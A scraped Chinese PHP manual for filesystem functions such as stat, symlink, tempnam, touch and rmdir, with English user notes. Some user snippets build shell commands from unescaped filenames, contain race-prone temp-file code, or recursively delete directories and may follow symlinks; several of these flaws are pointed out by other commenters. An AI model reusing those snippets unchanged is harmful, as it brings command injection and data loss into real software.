A quick note on the function posted by Daniellehr[-at-]gmx[-dot-]de, the function as it is will delete everything inside the directory but the directory. The problem is that the function does not close the directory before executing the rmdir line. Here is the corrected function:
function delDir($dirName) {
   if(empty($dirName)) {
       return true;
   }
   if(file_exists($dirName)) {
       $dir = dir($dirName);
       while($file = $dir->read()) {
           if($file != '.' && $file != '..') {
               if(is_dir($dirName.'/'.$file)) {
                   delDir($dirName.'/'.$file);
               } else {
                   @unlink($dirName.'/'.$file) or die('File '.$dirName.'/'.$file.' couldn\'t be deleted!');
               }
           }
       }
       $dir->close();
       @rmdir($dirName) or die('Folder '.$dirName.' couldn\'t be deleted!');
   } else {
       return false;
   }
   return true;
}
itsdapead
01-Mar-2005 01:03
Warning!  On Unix-type systems, most of the "delete directory tree" functions posted here will follow & delete symbolic links (which is not what you'd expect of, say, rm-rf) so you might find more than you bargained for getting wiped.

Here's a quick kludge of an earlier submission (by tekangel) that avoids this by default.

Make sure it does what you want before you uncomment the unlink and rmdir commands!

<?
function rmdirRecursive($path,$followLinks=false) {

   $dir = opendir($path) ;
   while ( $entry = readdir($dir) ) {

       if ( is_file( "$path/$entry" ) || ((!$followLinks) && is_link("$path/$entry")) ) {
           echo ( "unlink $path/$entry;\n" );
           // Uncomment when happy!
           //unlink( "$path/$entry" );
       } elseif ( is_dir( "$path/$entry" ) && $entry!='.' && $entry!='..' ) {
           rmdirRecursive( "$path/$entry" ) ;
       }
   }
   closedir($dir) ;
   echo "rmdir $path;\n";
   // Uncomment when happy!
   // return rmdir($path);
}
?>
Daniellehr[-at-]gmx[-dot-]de
20-Feb-2005 05:55
If you want to delete a folder with its all content and sub-content you can use this recursive-working function
(WARNING: after using the function the folder is completely deleted!):
<?php
function delDir($dirName) {
   if(empty($dirName)) {
       return;
   }
   if(file_exists($dirName)) {
       $dir = dir($dirName);
       while($file = $dir->read()) {
           if($file != '.' && $file != '..') {
               if(is_dir($dirName.'/'.$file)) {
                   delDir($dirName.'/'.$file);
               } else {
                   @unlink($dirName.'/'.$file) or die('File '.$dirName.'/'.$file.' couldn\'t be deleted!');
               }
           }
       }
       @rmdir($dirName.'/'.$file) or die('Folder '.$dirName.'/'.$file.' couldn\'t be deleted!');
   } else {
       echo 'Folder "<b>'.$dirName.'</b>" doesn\'t exist.';
   }
}
?>
aidan at php dot net
05-Sep-2004 03:48
If you want to delete a file, or an entire folder (including the contents), use the below function.

http://aidan.dotgeek.org/lib/?file=function.rmdirr.php
add a note add a note

后退 | 起点 | 前进
rewind | 上一级 | set_file_buffer


set_file_buffer

(PHP 3 >= 3.0.8, PHP 4 >= 4.0.1, PHP 5)

set_file_buffer -- stream_set_write_buffer()的别名

说明

本函数是该函数的别名：stream_set_write_buffer()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
rmdir | 上一级 | stat


stat

(PHP 3, PHP 4, PHP 5)

stat -- 给出文件的信息

说明

array stat ( string filename )

获取由 filename 指定的文件的统计信息。如果 filename 是符号连接，则统计信息是关于被连接文件本身的，而不是符号连接。lstat() 和 stat() 相同，只除了它会返回符号连接的状态。

如果出错，stat() 返回 FALSE，并且发出一条警告。

返回一个数组包含有文件的统计信息，该数组具有以下列出的单元，数组下标从零开始。除了数字索引之外自 PHP 4.0.6 起还可以通过关联索引来访问。

表格 1. stat() 和 fstat() 返回格式

数字下标 | 关联键名（自 PHP 4.0.6） | 说明
0 | dev | device number - 设备名
1 | ino | inode number - inode 号码
2 | mode | inode protection mode - inode 保护模式
3 | nlink | number of links - 被连接数目
4 | uid | userid of owner - 所有者的用户id
5 | gid | groupid of owner- 所有者的组 id
6 | rdev | device type, if inode device * - 设备类型，如果是 inode 设备的话
7 | size | size in bytes - 文件大小的字节数
8 | atime | time of last access (unix timestamp) - 上次访问时间（Unix 时间戳）
9 | mtime | time of last modification (unix timestamp) - 上次修改时间（Unix 时间戳）
10 | ctime | time of last change (unix timestamp) - 上次改变时间（Unix 时间戳）
11 | blksize | blocksize of filesystem IO * - 文件系统 IO 的块大小
12 | blocks | number of blocks allocated - 所占据块的数目
* - 仅在支持 st_blksize 类型的系统下有效。其它系统（如 Windows）返回 -1。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 lstat()，fstat()，filemtime() 和 filegroup()。

add a note add a note User Contributed Notes
hugues dot larrive at gmail dot com
09-Jun-2006 04:49
salisbm at hotmail dot com said :
(...)to see if the file is a directory, after calling fstat, I do:
if ($fstats[mode] & 040000)
  ... this must be a directory

Then I say no no no no... it can be a directory or a named pipe, or a block spcial ...

The good code for this thing is :
<?
if(($fstat['mode'] & 0170000) == 040000) echo "Be sure it is a directory !";
?>

Sorry for very ugly english ;)
@+
17-May-2006 01:10
Re note posted by "admin at smitelli dot com"

I'm not sure how that can work all year round since you have to modify both opposing inside and outside DST based on the actual files themselves, as well as the current DST setting for the system.

e.g. using filemtime, same thing for stat.

<?php

$mtime = filemtime($file);

if (date('I') == 1) {
   // Win DST is enabled, adjust standard time
   // files back to 'real' file UTC.
   if (date('I', $mtime) == 0) {
       $mtime -= 3600;
   }
} else {
   // Win DST is disabled, adjust daylight time
   // files forward to 'real' file UTC.
   if (date('I', $mtime) == 1) {
       $mtime += 3600;
   }
}

echo gmdate('Y-m-d H:i:s', $mtime);

?>

Just another example of why 'not' to use windows in a server room.
marting.dc AT gmail.com
29-Jan-2006 09:08
If you want to know a directory size, this function will help you:

<?
function dir_size($dir)
{
   $handle = opendir($dir);

   while ($file = readdir($handle)) {
       if ($file != '..' && $file != '.' && !is_dir($dir.'/'.$file)) {
           $mas += filesize($dir.'/'.$file);
           } else if (is_dir($dir.'/'.$file) && $file != '..' && $file != '.') {
           $mas += dir_size($dir.'/'.$file);
       }
   }
   return $mas;
}
echo dir_size('DIRECTORIO').' Bytes';
?>
admin at smitelli dot com
03-Nov-2005 03:27
There's an important (yet little-known) problem with file dates on Windows and Daylight Savings. This affects the 'atime' and 'mtime' elements returned by stat(), and it also affects other filesystem-related functions such as fileatime() and filemtime().

During the winter months (when Daylight Savings isn't in effect), Windows will report a certain timestamp for a given file. However, when summer comes and Daylight Savings starts, Windows will report a DIFFERENT timestamp! Even if the file hasn't been altered at all, Windows will shift every timestamp it reads forward one full hour during Daylight Savings.

This all stems from the fact that M$ decided to use a hackneyed method of tracking file dates to make sure there are no ambiguous times during the "repeated hour" when DST ends in October, maintain compatibility with older FAT partitions, etc. An excellent description of what/why this is can be found at http://www.codeproject.com/datetime/dstbugs.asp

This is noteworthy because *nix platforms don't have this problem. This could introduce some hard-to-track bugs if you're trying to move scripts that track file timestamps between platforms.

I spent a fair amount of time trying to debug one of my own scripts that was suffering from this problem. I was storing file modification times in a MySQL table, then using that information to see which files had been altered since the last run of the script. After each Daylight Savings change, every single file the script saw was considered "changed" since the last run, since all the timestamps were off by +/- 3600 seconds.

This one-liner is probably one of the most incorrect fixes that could ever be devised, but it's worked flawlessly in production-grade environments... Assuming $file_date is a Unix timestamp you've just read from a file:

<?php
   if (date('I') == 1) $file_date -= 3600;
?>

That will ensure that the timestamp you're working with is always consistently reported, regardless of whether the machine is in Daylight Savings or not.
com dot gmail at algofoogle
22-Jul-2005 09:06
Re note posted by "salisbm at hotmail dot com":

S_IFDIR is not a single-bit flag. It is a constant that relies on the "S_IFMT" bitmask. This bitmask should be applied to the "mode" parameter before comparing with any of the other "S_IF..." constants, as indicated by stat.h:

#define S_ISDIR(m)  (((m) & S_IFMT) == S_IFDIR)

That is, this approach is incorrect:

<?php
define('S_IFDIR',040000);
if ($mode & S_IFDIR)
{
  /*
   incorrect!
   format could be S_IFDIR, but also
   S_IFBLK, S_IFSOCK, or S_IFWHT.
  */
}
?>

...and should instead be:

<?php
define('S_IFMT',0170000);
define('S_IFDIR',040000);
if (S_IFDIR == ($mode & S_IFMT)) {  /* ... */  }
?>

As pointed out by "svend at svendtofte dot com", however, there is also the "is_dir" function for this purpose, along with "is_file" and "is_link" to cover the most common format types...
mpb dot mail at gmail dot com
18-Jul-2005 06:10
If you are working with files larger than 2GB (and PHP's integer type is only 32 bits on your system) then you can try the following to get floating point sizes:

On FreeBSD:

$size = (float) exec ('stat -f %z '. escapeshellarg ($path));

On Linux:

$size = (float) exec ('stat -c %s '. escapeshellarg ($path));

(The other example that uses "ls" and "awk" does not properly escape the filename, but should work otherwise.)
mao at nospam dot com
07-Jun-2005 08:53
If you have ftp (and the related sftp) protocols disabled on your remote server, it can be hard figuring out how to 'stat' a remote file. The following works for me:

<?php

$conn = ssh2_connect($host, 22);
ssh2_auth_password($conn, $user, $password);
$stream = ssh2_exec($conn, "stat $fileName > $remotedest");
ssh2_scp_recv($conn, $remotedest, $localdest);
$farray = file($localdest);
print_r($farray);
?>
guillermo martinez
31-Jan-2005 02:24
stat() and SELinux,

You can have troubles to use the stat() function if the SELinux is enabled, so check the SELinux documentation or turn it off.
11-Nov-2004 11:41
If the 2GB limit is driving you crazy, you can use this complete hack.  use in place of filesize()

function file_size($file) {
  $size = filesize($file);
  if ( $size == 0)
   $size = exec("ls -l $file | awk '{print $5}'");
  return $size;
}
svend at svendtofte dot com
10-Oct-2004 07:31
To the note of how you can figure out if a file is a folder or not, there is also the handy "is_dir" function.
salisbm at hotmail dot com
12-Aug-2003 08:21
I was curious how I could tell if a file was a directory... so I found on http://www.hmug.org/man/2/stat.html the following information about the mode bits:
#define S_IFMT 0170000          /* type of file */
#define        S_IFIFO  0010000  /* named pipe (fifo) */
#define        S_IFCHR  0020000  /* character special */
#define        S_IFDIR  0040000  /* directory */
#define        S_IFBLK  0060000  /* block special */
#define        S_IFREG  0100000  /* regular */
#define        S_IFLNK  0120000  /* symbolic link */
#define        S_IFSOCK 0140000  /* socket */
#define        S_IFWHT  0160000  /* whiteout */
#define S_ISUID 0004000  /* set user id on execution */
#define S_ISGID 0002000  /* set group id on execution */
#define S_ISVTX 0001000  /* save swapped text even after use */
#define S_IRUSR 0000400  /* read permission, owner */
#define S_IWUSR 0000200  /* write permission, owner */
#define S_IXUSR 0000100  /* execute/search permission, owner */

Note that these numbers are in octal format.  Then, to check to see if the file is a directory, after calling fstat, I do:

if ($fstats[mode] & 040000)
  ... this must be a directory
ian at eiloart dot com
23-Jul-1999 11:52
Here's what the UNIX man page on stat has to say about the difference between a file change and  a file modification:

st_mtime  Time when data was last modified.  Changed by  the following  functions:  creat(),  mknod(), pipe(), utime(), and write(2).

st_ctime  Time when file status was last  changed.  Changed by  the  following  functions: chmod(), chown(), creat(), link(2), mknod(), pipe(), unlink(2), utime(), and write().

So a modification is a change in the data, whereas a change also happens if you modify file permissions and so on.
add a note add a note

后退 | 起点 | 前进
set_file_buffer | 上一级 | symlink


symlink

(PHP 3, PHP 4, PHP 5)

symlink -- 建立符号连接

说明

bool symlink ( string target, string link )

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数未在 Windows 平台下实现。

参见 link() 来建立硬连接，以及
readlink() 和
linkinfo()。

add a note add a note User Contributed Notes
anything at the domain williamfrantz.com
15-Feb-2006 09:15
Olszewski_marek makes a good suggestion, but the readfile() function can also be used to obscure file downloads from end users.

/* Setup the file that will be sent */
$downloadDir = "some/secret/directory/";
$file = "theFileName.dat";

/* Required for IE, otherwise Content-disposition is ignored */
if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off');

/* Output HTTP headers that force "Save As" dialog */
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\\"$file\\";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".@filesize($downloadDir.$file));

/* Prevent the script from timing out for large files */
set_time_limit(0);

/* Send the entire file using @ to ignore all errors */
@readfile($downloadDir.$file);

/* Exit immediately so no garbage follows the file contents */
exit;
29-Dec-2005 11:21
Olszewski seems pretty good, but just to boost the security a bit, the fifth line of his script should read
<?
...
   $q = rand(1,26);
...
?>

instead of rand(1,24).
contact at tcknetwork dot com
11-Sep-2005 11:04
To make your code portable on unix AND win32, do the following
1. Download http://www.dynawell.com/reskit/microsoft/win2000/linkd.zip
2. Unzip, put linkd.exe in C:\Windows\System32 or C:\WINNT\System32
3. Include in your code the following
<?
function _syslink($t /*target*/ ,$l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$t." ".$p.$l);
 } else syslink($t,$l);
}
function _unlink($l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$l." /D");
 } else unlink($l);
}
?>
4. Enjoy
_symlink(TARGET,LINK) works like symlink() on *nix
_unlink(LINK) to delete properly the link created
aircha at cix dot co dot uk
16-Mar-2005 12:49
Olszewski's method of creating downloadable links on the fly is pretty good.

I use a different technique under Apache where if you want a file, you might use a url like:

mydomain.com/files/mysecretfile.doc

But in fact Apache redirects this to a script with a url like:

mydomain.com/utilities/downloadfile.php?filename=mysecretfile.doc

(The browser address bar will still show the first url).

The script downloadfile.php can then handle all the mucky stuff like checking session variables to see if someone is logged on, whether they have access to mysecretfile.doc, and if you want to encrypt before download.

An advantage of this is that the php code to achieve the equivalent of Olszewski's is shorter, so might execute faster. But more importantly, a casual hacker might think all he has to do is find myverysecurefile.doc under the /home/user/public_html/files/mysecretfile.doc, or copy the url - but there's nothing there! He won't find it or get an Apache error page.
veronique at talafone dot com
30-May-2003 05:23
This might sound obvious, but sometimes these details slip from our minds...
Make sure the directory in which you are trying to create the symbolic link (AND the directory you are trying to link to in the case of directory linking) has the proper permissions, or you will get a "permission denied" from PHP. If you use for example,
echo shell_exec("ln -sv $target $name")
you might get the correct "link created" message, but without the link being actually created.

It's probably the same thing with hard links, I just haven't tried it.
stephen at opido dot com
08-Feb-2002 04:38
Faking Symlinks on Windows (Win2K + NTFS)

Every once in a while I'll bang my head against something really difficult. I needed to make symlinks, Windows won't let me. The workaround is a couple files in the Win2K Resource Kit called linkd.exe and delrp.exe

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q205524

It only works on folders as far as I can tell, there is another program from SysInternals called Junction which will do both (although I only had success with files, not folders).

http://www.sysinternals.com/ntw2k/source/misc.shtml#junction

I hope this helps those who have experienced this same problem. One step closer to portable applications :)
olszewski_marek at yahoo dot com
05-Dec-2000 12:54
Here is a simple way to control who downloads your files...

You will have to set: $filename, $downloaddir, $safedir and $downloadURL.

Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir.

The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested.  The browser is then redirected to the new link and the download begins.

The code also deletes any past symbolic links created by any past users before creating one for itself.  This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script.  There appears to be no problem if a symbolic link is deleted while another person is downloading from that link.

This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file.

Anyway enjoy:

$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4,12); $i++) {
   $q = rand(1,24);
   $string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
   if (is_dir($downloaddir . $dir)){
     if ($dir != "." && $dir != ".."){
         @unlink($downloaddir . $dir . "/" . $filename);
         @rmdir($downloaddir . $dir);
     }
   }
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
Header("Location: " . $downloadURL . $string . "/" . $filename);
add a note add a note

后退 | 起点 | 前进
stat | 上一级 | tempnam


tempnam

(PHP 3, PHP 4, PHP 5)

tempnam -- 建立一个具有唯一文件名的文件

说明

string tempnam ( string dir, string prefix )

在指定目录中建立一个具有唯一文件名的文件。如果该目录不存在，tempnam() 会在系统临时目录中生成一个文件，并返回其文件名。

在 PHP 4.0.6 之前，tempnam() 函数的行为取决于系统。在 Windows 下 TMP 环境变量会越过 dir 参数，在 Linux 下 TMPDIR 环境变量优先，而在 SVR4 下总是使用 dir 参数，如果其指向的目录存在的话。如果有疑问请参考系统文档中的 tempnam(3) 函数。

注: 如果 PHP 不能在指定的 dir 参数中创建文件，则退回到系统默认值。

返回新的临时文件名，出错返回 FALSE。

例子 1. tempnam() 例子

<?php
$tmpfname = tempnam("/tmp", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);
// do here something
unlink($tmpfname);
?>

注: 本函数的行为在 4.0.3 版中改变了。也会建立一个临时文件以避免竞争情形，即有可能会在产生出作为文件名的字符串与脚本真正建立该文件之间会在文件系统中存在同名文件。注意，如果不再需要该文件则要删除此文件，不会自动删除的。

参见 tmpfile() 和 unlink()。

add a note add a note User Contributed Notes
Guillaume Paramelle
06-Jun-2006 09:46
On a windows server (php 5.1.2), tempnam() may not use the dir parameter, and create the file in $_ENV['TMP'].
I also had problem because the directory was relative.
Everything was solved using :

tempnam(realpath("../_cache/"), "prefix") ;
Ron Korving
03-Feb-2006 04:32
This function creates a temporary directory. The previous example given could bug if between the unlink() and mkdir() some process creates the same directory or file. This implementation is faster too.

<?php
  function tempdir($dir, $prefix='', $mode=0700)
  {
   if (substr($dir, -1) != '/') $dir .= '/';

   do
   {
     $path = $dir.$prefix.mt_rand(0, 9999999);
   } while (!mkdir($path, $mode));

   return $path;
  }
?>
KOmaSHOOTER at gmx dot de
19-Sep-2005 04:51
This Example makes a File called "user.txt"
in the dir www.XXXXX.XX/restricted/
<?php
$tmpfname = tempnam($_ENV["DOCUMENT_ROOT"]."/restricted", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something
//echo($_ENV["DOCUMENT_ROOT"]);
copy($tmpfname,'user.txt');
 ?>
chris
14-Jun-2005 12:23
Use the following to create a temporary directory...

// Creates a directory with a unique name
// at the specified with the specified prefix.
// Returns directory name on success, false otherwise
function tmpdir($path, $prefix)
{
       // Use PHP's tmpfile function to create a temporary
       // directory name. Delete the file and keep the name.
       $tempname = tempnam($path,$prefix);
       if (!$tempname)
               return false;

       if (!unlink($tempname))
               return false;

       // Create the temporary directory and returns its name.
       if (mkdir($tempname))
               return $tempname;

       return false;
}
php at REMOVEMEkennel17 dot co dot uk
06-Mar-2005 02:10
Note that tempnam returns the full path to the temporary file, not just the filename.
17-Feb-2005 10:13
Regarding Typo3 and Safe mode "Generally, everything in TYPO3 can work under safe_mode and open_basedir as long as the script permissions are correct. Notice, this is not something TYPO3 can do better or worse; for a working TYPO3 system there must be access to writing files and directories in the filesystem and this is done by plain PHP functions."
Sebastian Kun
22-Jan-2005 05:03
If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available).
Nick Smith
21-Jan-2005 03:35
It is worth noting that if the 'dir' that you supply doesn't exist, then it is silently ignored and the system /tmp directory used. At least under Linux, PHP v4.1.2.

I had a script that appeared to work fine with safe mode switched off, but I didn't realise that my 'dir' parameter had a typo (so the files were going in /tmp), and once safe mode was switched on I started getting errors because the rest of the script couldn't read files from the system /tmp folder.
soletan at toxa dot de
03-Dec-2004 12:45
tempnam and SAFE MODE don't generally exclude each other - that link below just shows frustrating trials to find some meaning in SAFE MODE. However, SAFE MODE is good and I'd appreciate to find it used in more of contemporarily hyped projects like typo3 or similar, since many people don't seem to care about security that much, but get enraged by tens and hundreds of Spam-Mails a day.

Okay, that post from Feb-2004 and the "bug report" is unconditionally true for multi-hosted PHP environments where several users may have their individual scripts placed on same server machine. Just take a visit to one of your local webspace-providers, that give space for 5  or less a month.

But the truth get conditional if you gain access to the server all by yourself and may set it up to have your script's and the web server's GID being same so you can "fall back" to GID-based SAFE MODE and use tempnam as desired. This is true for several local work, intranet-related projects in your company etc. Just take a look at how SAFE MODE _really_ works and why it's rockingly important to use it. You should do when you're developing a company tool for public access at least.

Never forget to take a moment to think about Unix-filesystem and access rights as well ... even if you're locally running Windows to have some great IDE or similar (like me :). PHP is available on both systems, but that's not succeeding to define your work as "portable".
andi<at>splitbrain<dot>org
08-Aug-2004 10:28
tempname ignores the current umask and always creates the file with permission 0600.
anakin dot skyw at gmx dot de
04-Jul-2004 11:20
>Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target.

Couldn't you do
<?php
       if ($newFileCreated) {
           unlink ($sysFileName);
           return $newFileName;
       }
?>
and get the same semantics as the windows version?
bishop
01-May-2004 11:03
Creating a temporary file with a specific extension is a common requirement on dynamic websites. Largely this need arises from Microsoft browsers that identify a downloaded file's mimetype based on the file's extension.

No single PHP function creates a temporary filename with a specific extension, and, as has been shown, there are race conditions involved unless you use the PHP atomic primitives.

I use only primitives below and exploit OS dependent behaviour to securely create a file with a specific postfix, prefix, and directory.  Enjoy.

<?php
function secure_tmpname($postfix = '.tmp', $prefix = 'tmp', $dir = null) {
   // validate arguments
   if (! (isset($postfix) && is_string($postfix))) {
       return false;
   }
   if (! (isset($prefix) && is_string($prefix))) {
       return false;
   }
   if (! isset($dir)) {
       $dir = getcwd();
   }

   // find a temporary name
   $tries = 1;
   do {
       // get a known, unique temporary file name
       $sysFileName = tempnam($dir, $prefix);
       if ($sysFileName === false) {
           return false;
       }

       // tack on the extension
       $newFileName = $sysFileName . $postfix;
       if ($sysFileName == $newFileName) {
           return $sysFileName;
       }

       // move or point the created temporary file to the new filename
       // NOTE: these fail if the new file name exist
       $newFileCreated = (isWindows() ? @rename($sysFileName, $newFileName) : @link($sysFileName, $newFileName));
       if ($newFileCreated) {
           return $newFileName;
       }

       unlink ($sysFileName);
       $tries++;
   } while ($tries <= 5);

   return false;
}
?>

The isWindows function is mostly left as an exercise for the reader. A starting point is below:

<?php
function isWindows() {
   return (DIRECTORY_SEPARATOR == '\\' ? true : false);
}
?>

Like tempnam(), this function requires you to cleanup your own files later. Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target. Cleanup is left entirely to the reader.
kulpp at wsg dot net
04-Feb-2004 03:57
tempnam should not be used with SAFE MODE as of 4.3.4
see http://bugs.php.net/bug.php?id=27133
phpdoc at rickbradley dot com
26-Nov-2003 07:54
The "newtempnam" recipe provided below (posted by "tempnam" on " 23-Jul-2003 08:56") has at least one race condition.  The while loop checks to make sure that the file in question doesn't exist, and then goes and creates the file.  In between the existence test and the fopen() call there is an opportunity for an attacker to create the file in question.

This is a classic race-condition, and while it seems difficult to exploit there are a number of well-known attacks against this kind of sloppy file creation.

The atomic primitives necessary to implement secure file creation are not available at the language level in PHP.  This further underscores the need for PHP-language developers to rely on the language's security primitives (including tempnam() and tempfile()) instead of rolling their own.
24-Jul-2003 01:56
The tempnam() function will not let you specify a postfix to the filename created. Here is a function that will create a new filename with pre and post fix'es. Not returns false if it can't create in the dir specified where tempnam() creates in the systems temp dir.

function newtempnam($dir, $prefix, $postfix){
   /* Creates a new non-existant file with the specified post and pre fixes */

   if ($dir[strlen($dir) - 1] == '/') {
       $trailing_slash = "";
   } else {
       $trailing_slash = "/";
   }
   /*The PHP function is_dir returns true on files that have no extension.
   The filetype function will tell you correctly what the file is */
   if (!is_dir(realpath($dir)) || filetype(realpath($dir)) != "dir") {
       // The specified dir is not actualy a dir
       return false;
   }
   if (!is_writable($dir)){
       // The directory will not let us create a file there
       return false;
   }

   do{    $seed = substr(md5(microtime().posix_getpid()), 0, 8);
       $filename = $dir . $trailing_slash . $prefix . $seed . $postfix;
   } while (file_exists($filename));
   $fp = fopen($filename, "w");
   fclose($fp);
   return $filename;
}
lreilly at lanl dot gov
29-Aug-2002 08:54
Be careful with you forward and back slashes. Innocent looking code like this...

$uploaddir = "C:/Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/";
$tempFile = tempnam ($uploaddir, "TMPANAL");
$fp = fopen($tmpfname, "w");
fwrite($fp, $iqdata);
//fclose($fp);

... may show something odd when echoing $tempFile";

i.e. /Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/\TMP3D.tmp

Must... remember... to... use... backslashes...

 - Lee P. Reilly
seb at nospam dot 50carleton dot com
23-May-2001 08:24
In addition to a note previously posted, on Windows NT Server 4.0, I noticed that tempnam() only uses the first THREE characters of the specified prefix.
add a note add a note

后退 | 起点 | 前进
symlink | 上一级 | tmpfile


tmpfile

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

tmpfile -- 建立一个临时文件

说明

resource tmpfile ( void )

以读写 (w+) 模式建立一个具有唯一文件名的临时文件，返回一个与 fopen() 所返回相似的文件句柄。文件会在关闭后（用 fclose()）自动被删除，或当脚本结束后。

详细信息请参考系统手册中的 tmpfile(3) 函数，以及 stdio.h 头文件。

例子 1. tmpfile() 例子

<?php
$temp = tmpfile();
fwrite($temp, "writing to tempfile");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // this removes the file
?>

上例将输出：

writing to tempfile

参见 tempnam()。

add a note add a note User Contributed Notes
chris [at] pureformsolutions [dot] com
05-Oct-2005 03:14
I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely:

<?php
   # Upload setup.inc
   $fSetup = tmpfile();
   fwrite($fSetup,$setup);
   fseek($fSetup,0);
   if (!ftp_fput($ftp,"inc/setup.inc",$fSetup,FTP_ASCII)) {
       echo "<br /><i>Setup file NOT inserted</i><br /><br />";
   }
   fclose($fSetup);
?>

The $setup variable is the contents of the textarea.

And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it.
add a note add a note

后退 | 起点 | 前进
tempnam | 上一级 | touch


touch

(PHP 3, PHP 4, PHP 5)

touch -- 设定文件的访问和修改时间

说明

bool touch ( string filename [, int time [, int atime]] )

尝试将由 filename 给出的文件的访问和修改时间设定为给出的时间。如果没有给出可选参数 time，则使用当前时间。这和 utime（有时也叫做 utimes）所作的等价。如果给出了第三个参数 atime，则给定文件的访问时间会被设为 atime。注意访问时间总是会被修改的，不论有几个参数。

如果文件不存在，则会被创建。如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. touch() 例子

<?php
if (touch($FileName)) {
    echo "$FileName modification time has been changed to present time";
} else {
    echo "Sorry, could not change modification time of $FileName";
}
?>

add a note add a note User Contributed Notes
spam at webmastersguide dot com
01-Sep-2005 08:09
If you're going to go around deleting (unlinking) files
that you don't own just in order to change the modification
time on the file, you darn well better chown() the file
back to it's original ownership after you are done and
chmod() it back to it's correct permissions.  Otherwise
you will almost certainly break things.  Additionally the
code listed for touch()ing a file you don't own should
set the file creation time back to it's original time if
what is wanted is to just change the modification time.
Also, the code listed will break things if there is an i/o
error such as disk full or too many files in the directory.
Here's how the code SHOULD be written:

Create the new file FIRST, rather than last, with a different
name such as $file.tmp.
Read the ownership, permissions, and creation time of the old file.
Set permissions and creation time of the new file the same as the old.
Rename the new file to the name of the old.
chown() the new file to the user that owned the file it's replacing.

Please be careful adding to the documentation if you've
never taken programming 101.
rf_public at yahoo dot co dot uk
26-Jul-2005 03:19
Note: the script to touch a file you don't own will change it's owner so ensure permissions are correct or you could lose access to it
guy at forster design dot com
12-May-2005 06:42
Here's a little workaround that allows the PHP user to touch a file it doesn't own:

<?php

   $target_file = "/path/to/file/filename.txt"; //system filepath to your file
   $file_content = implode("",file($target_file));
   @unlink($target_file);
   if($savetofile = fopen($target_file, "w")) {
       fputs($savetofile, $file_content);
       fclose($savetofile);
   }
   $new_date = strtotime("23 April 2005"); // set the required date timestamp here
   touch($target_file,$new_date);

?>

Of course, PHP needs to have write access to the folder containing the file you want to touch, but that should be easy to arrange.
feathern at yahoo dot com
14-Aug-2002 06:31
Neat little script that will give you a list of all modified files in a certain folder after a certain date:

$filelist = Array();
$filelist = list_dir("d:\\my_folder");
for($i=0;$i<count($filelist);$i++){
   $test = Array();
   $test = explode("/",date("m/d/Y",filemtime($filelist[$i])));
//example of files that are later then
//06/17/2002
   if(($test[2] > 2001) && ($test[1] > 16) && ($test[0] > 5)){
       echo $filelist[$i]."\r\n";
   }
   clearstatcache();
}
function list_dir($dn){
   if($dn[strlen($dn)-1] != '\\') $dn.='\\';
   static $ra = array();
   $handle = opendir($dn);
   while($fn = readdir($handle)){
       if($fn == '.' || $fn == '..') continue;
       if(is_dir($dn.$fn)) list_dir($dn.$fn.'\\');
       else $ra[] = $dn.$fn;
   }
   closedir($handle);
   return $ra;
}
emilebosch at hotmail dot com
07-Oct-2001 06:41
To spare you ppl couple of hours of valuable time, you can only TOUCH a file that you own! Usually PHP is *nobody*
Warm regards,
Emile Bosch
master at dreamphp dot com
16-May-2001 02:23
$filename = "test.dat";
if (!file_exists($filename)) {
  touch($filename); // Create blank file
  chmod($filename,0666);
}
add a note add a note

后退 | 起点 | 前进
tmpfile | 上一级 | umask


umask

(PHP 3, PHP 4, PHP 5)

umask -- 改变当前的 umask

说明

int umask ( [int mask] )

umask() 将 PHP 的 umask 设定为 mask & 0777 并返回原来的 umask。当 PHP 被作为服务器模块使用时，在每个请求结束后 umask 会被恢复。

无参数调用 umask() 会返回当前的 umask。

注: 在多线程的服务器上尽量避免使用这个函数。创建文件后要改变其权限最好还是使用 chmod()。使用 umask() 会导致并发程序和服务器发生不可预知的情况，因为它们是使用相同的 umask 的。

例子 1. umask() 例子

<?php
$old = umask(0);
chmod("/path/some_dir/some_file.txt", 0755);
umask($old);

